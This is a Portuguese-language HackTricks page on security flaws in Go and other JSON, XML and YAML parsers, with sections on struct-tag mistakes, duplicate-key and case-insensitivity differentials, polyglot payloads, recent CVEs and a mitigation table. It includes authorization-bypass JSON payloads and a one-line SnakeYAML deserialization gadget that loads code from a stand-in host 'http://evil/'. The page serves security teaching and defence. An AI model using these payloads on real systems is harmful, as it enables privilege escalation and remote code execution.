JSON, XML & Yaml Hacking & Issues

Reading time: 6 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Go JSON Decoder

Os seguintes problemas foram detectados no Go JSON, embora possam estar presentes em outras linguagens também. Esses problemas foram publicados em este post no blog.

Os parsers JSON, XML e YAML do Go têm um longo histórico de inconsistências e padrões inseguros que podem ser explorados para burlar a autenticação, escalar privilégios ou exfiltrar dados sensíveis.

(Un)Marshaling Dados Inesperados

O objetivo é explorar structs que permitem a um atacante ler/escrever campos sensíveis (por exemplo, IsAdmin, Password).

  • Exemplo de Struct:
go
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin  bool   `json:"-"`
}
  • Vulnerabilidades Comuns
  1. Tag ausente (sem tag = campo ainda é analisado por padrão):
go
type User struct {
Username string
}

Carga útil:

json
{"Username": "admin"}
  1. Uso incorreto de -:
go
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}

Carga útil:

json
{"-": true}

✔️ Maneira adequada de bloquear campo de ser (des)serializado:

go
type User struct {
IsAdmin bool `json:"-"`
}

Diferenças de Parser

O objetivo é contornar a autorização explorando como diferentes parsers interpretam a mesma carga útil de maneira diferente, como em:

  • CVE-2017-12635: contorno do Apache CouchDB via chaves duplicadas
  • 2022: RCE 0-click do Zoom via inconsistência do parser XML
  • GitLab 2025 contorno SAML via peculiaridades do XML

1. Campos Duplicados: O encoding/json do Go pega o último campo.

go
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction

Outros analisadores (por exemplo, Jackson do Java) podem levar o primeiro.

2. Insensibilidade a Maiúsculas e Minúsculas: Go é insensível a maiúsculas e minúsculas:

go
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field

Até truques de Unicode funcionam:

go
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)

3. Incompatibilidade entre serviços: Imagine:

  • Proxy escrito em Go
  • Serviço de AuthZ escrito em Python

O atacante envia:

json
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
  • Python vê UserAction, permite
  • Go vê AdminAction, executa

Confusão de Formato de Dados (Poliglotas)

O objetivo é explorar sistemas que misturam formatos (JSON/XML/YAML) ou falham abertamente em erros de parser, como:

  • CVE-2020-16250: HashiCorp Vault analisou JSON com um parser XML após o STS retornar JSON em vez de XML.

O atacante controla:

  • O cabeçalho Accept: application/json
  • Controle parcial do corpo JSON

O parser XML do Go analisou de qualquer forma e confiou na identidade injetada.

  • Payload elaborado:
json
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}

Resultado:

  • Go JSON parser: Action_2 (case-insensitive + last wins)
  • YAML parser: Action_1 (case-sensitive)
  • XML parser: parses "Action_3" dentro da string

Vulnerabilidades Notáveis de Parser (2023-2025)

Os seguintes problemas publicamente exploráveis mostram que a análise insegura é um problema de múltiplas linguagens — não apenas um problema do Go.

Deserialização RCE do SnakeYAML (CVE-2022-1471)

  • Afeta: org.yaml:snakeyaml < 2.0 (usado pelo Spring-Boot, Jenkins, etc.).
  • Causa raiz: new Constructor() deserializa classes Java arbitrárias, permitindo cadeias de gadgets que culminam em execução remota de código.
  • PoC de uma linha (abrirá a calculadora no host vulnerável):
yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
  • Correção / Mitigação:
  1. Atualizar para ≥2.0 (usa SafeLoader por padrão).
  2. Em versões mais antigas, use explicitamente new Yaml(new SafeConstructor()).

libyaml Double-Free (CVE-2024-35325)

  • Afeta: libyaml ≤0.2.5 (biblioteca C utilizada por muitas ligações de linguagem).
  • Problema: Chamar yaml_event_delete() duas vezes leva a um double-free que atacantes podem transformar em DoS ou, em alguns cenários, exploração de heap.
  • Status: Rejeitado upstream como “uso indevido da API”, mas distribuições Linux enviaram a versão corrigida 0.2.6 que libera defensivamente o ponteiro.

RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)

  • Afeta: Tencent RapidJSON antes do commit 8269bc2 (<1.1.0-patch-22).
  • Bug: Em GenericReader::ParseNumber(), a aritmética não verificada permite que atacantes criem literais numéricos enormes que se envolvem e corrompem o heap — permitindo, em última análise, a escalada de privilégios quando o gráfico de objetos resultante é usado para decisões de autorização.

🔐 Mitigações (Atualizado)

RiscoCorreção / Recomendação
Campos desconhecidos (JSON)decoder.DisallowUnknownFields()
Campos duplicados (JSON)❌ Sem correção na stdlib — valide com jsoncheck
Correspondência sem distinção de maiúsculas (Go)❌ Sem correção — valide tags de estrutura + pré-canonize a entrada
Dados lixo XML / XXEUse um parser endurecido (encoding/xml + DisallowDTD)
Chaves desconhecidas YAMLyaml.KnownFields(true)
Desserialização YAML inseguraUse SafeConstructor / atualize para SnakeYAML ≥2.0
libyaml ≤0.2.5 double-freeAtualize para 0.2.6 ou versão corrigida da distro
RapidJSON <commit corrigidoCompile contra a versão mais recente do RapidJSON (≥Julho 2024)

Referências

  • Baeldung – “Resolvendo CVE-2022-1471 Com SnakeYAML 2.0”
  • Ubuntu Security Tracker – CVE-2024-35325 (libyaml)

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks